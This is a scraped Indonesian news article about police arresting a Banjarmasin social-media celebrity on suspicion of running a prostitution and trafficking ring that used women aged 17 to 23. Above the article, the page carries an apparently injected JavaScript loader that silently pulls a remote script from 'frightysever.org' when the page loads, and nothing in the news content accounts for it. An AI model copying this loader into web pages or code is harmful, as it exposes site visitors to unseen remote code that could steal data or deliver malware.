(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Seorang selebgram asal Banjarmasin, Kalimantan Selatan ditangkap polisi karena dugaan tindak pidana perdagangan orang (TPPO).
Selebgram itu diduga berperan sebagai muncikari dengan mempekerjakan 10 orang wanita sebagai pekerja seks komersial (PSK).
Selebgram berinisial ZM itu, ditangkap polisi di lokasi persembunyiannya di Kecamatan Pelaihari, Kabupaten Tanah Laut.
Baca juga: Kasus Korupsi Bendungan Tapin, Mantan Kades Dituntut 5 Tahun Penjara
ZM kerap menawarkan jasa kencan singkat melalui media sosial. Bahkan, tak tanggung-tanggung, ZM diduga mempekerjakan 10 wanita dengan rentang usia mulai dari 17 hingga 23 tahun.
Pengungkapan kasus ini berawal dari informasi masyarakat, yang kemudian ditindaklanjuti polisi dengan dilakukan penyelidikan.
Tim Resmob Macan Kalsel dan Unit 2 (TPPO) Subdit 4 Polda Kalsel langsung melakukan penyelidikan, Resmob Polda Kalsel langsung menginvestigasi dugaan ini dengan menyamar sebagai pemesan ke ZM.
Baca juga: Polisi Selidiki OD Massal Akibat Oplosan Zenith dan Kecubung
ZM dipancing dengan cara menggunakan jasanya. Polisi menyamar dengan mencoba memesan seorang wanita kepada ZM.
Tanpa curiga, ZM pun sepakat untuk mendatangkan seorang wanita ke sebuah hotel di Banjarmasin dengan tarif sebesar Rp 3,5 juta per sekali kencan singkat.
Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’i membenarkan penangkapan seorang selebgram ZM atas kasus dugaan TPPO.
Baca juga: Tiga Terdakwa Korupsi Bendungan Tapin Jalani Sidang Tuntutan
“Iya betul, kemarin (Rabu, 30 Agustus 2023) yang bersangkutan kami amankan,” ujarnya, Kamis (31/8/2023) siang.
Menurutnya, dari hasil pemeriksaan awal, ZM mematok tarif mulai dari Rp 3,5 juta hingga Rp 10 juta untuk sekali kencan. Dari tarif itu, korban mendapatkan bagian sesuai dengan kesepakatan yang telah ditetapkan oleh pelaku.
“Untuk modusnya masih dalam penyelidikan dan pengembangan ya, tetapi dari hasil interogasi awal si pelaku ini yang menentukan tarifnya untuk sekali kencan,” imbuhnya.
“Dari hasil interogasi petugas, pelaku mempekerjakan lebih dari 10 orang wanita, dengan kisaran usia 17-23 tahun” jelas Kombes Mochamad Rifai.
Baca juga: Pengganti Skripsi, ULM Sudah Rancang Draf Pedoman Akademik Tugas Akhir
Menurut Rifai , tarif yang dipatok pelaku tersebut antara Rp3,5 juta-10 juta sekali kencan.
Uang itu kemudian dibagi untuk pelaku dan wanita yang dipesan tersebut sesuai dengan kesepakatan yang telah ditetapkan oleh pelaku.
Setelah berhasil diringkus, pelaku dan barang bukti dibawa ke kantor Ditreskrimum Polda Kalsel untuk diperiksa dan diproses hukum lebih lanjut.
ZM telah dibawa ke Gedung Direktorat Reserse Kriminal Umum Polda Kalsel untuk menjalani pemeriksaan dan proses hukum lebih lanjut. (Kanalkalimantan.com/bie)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.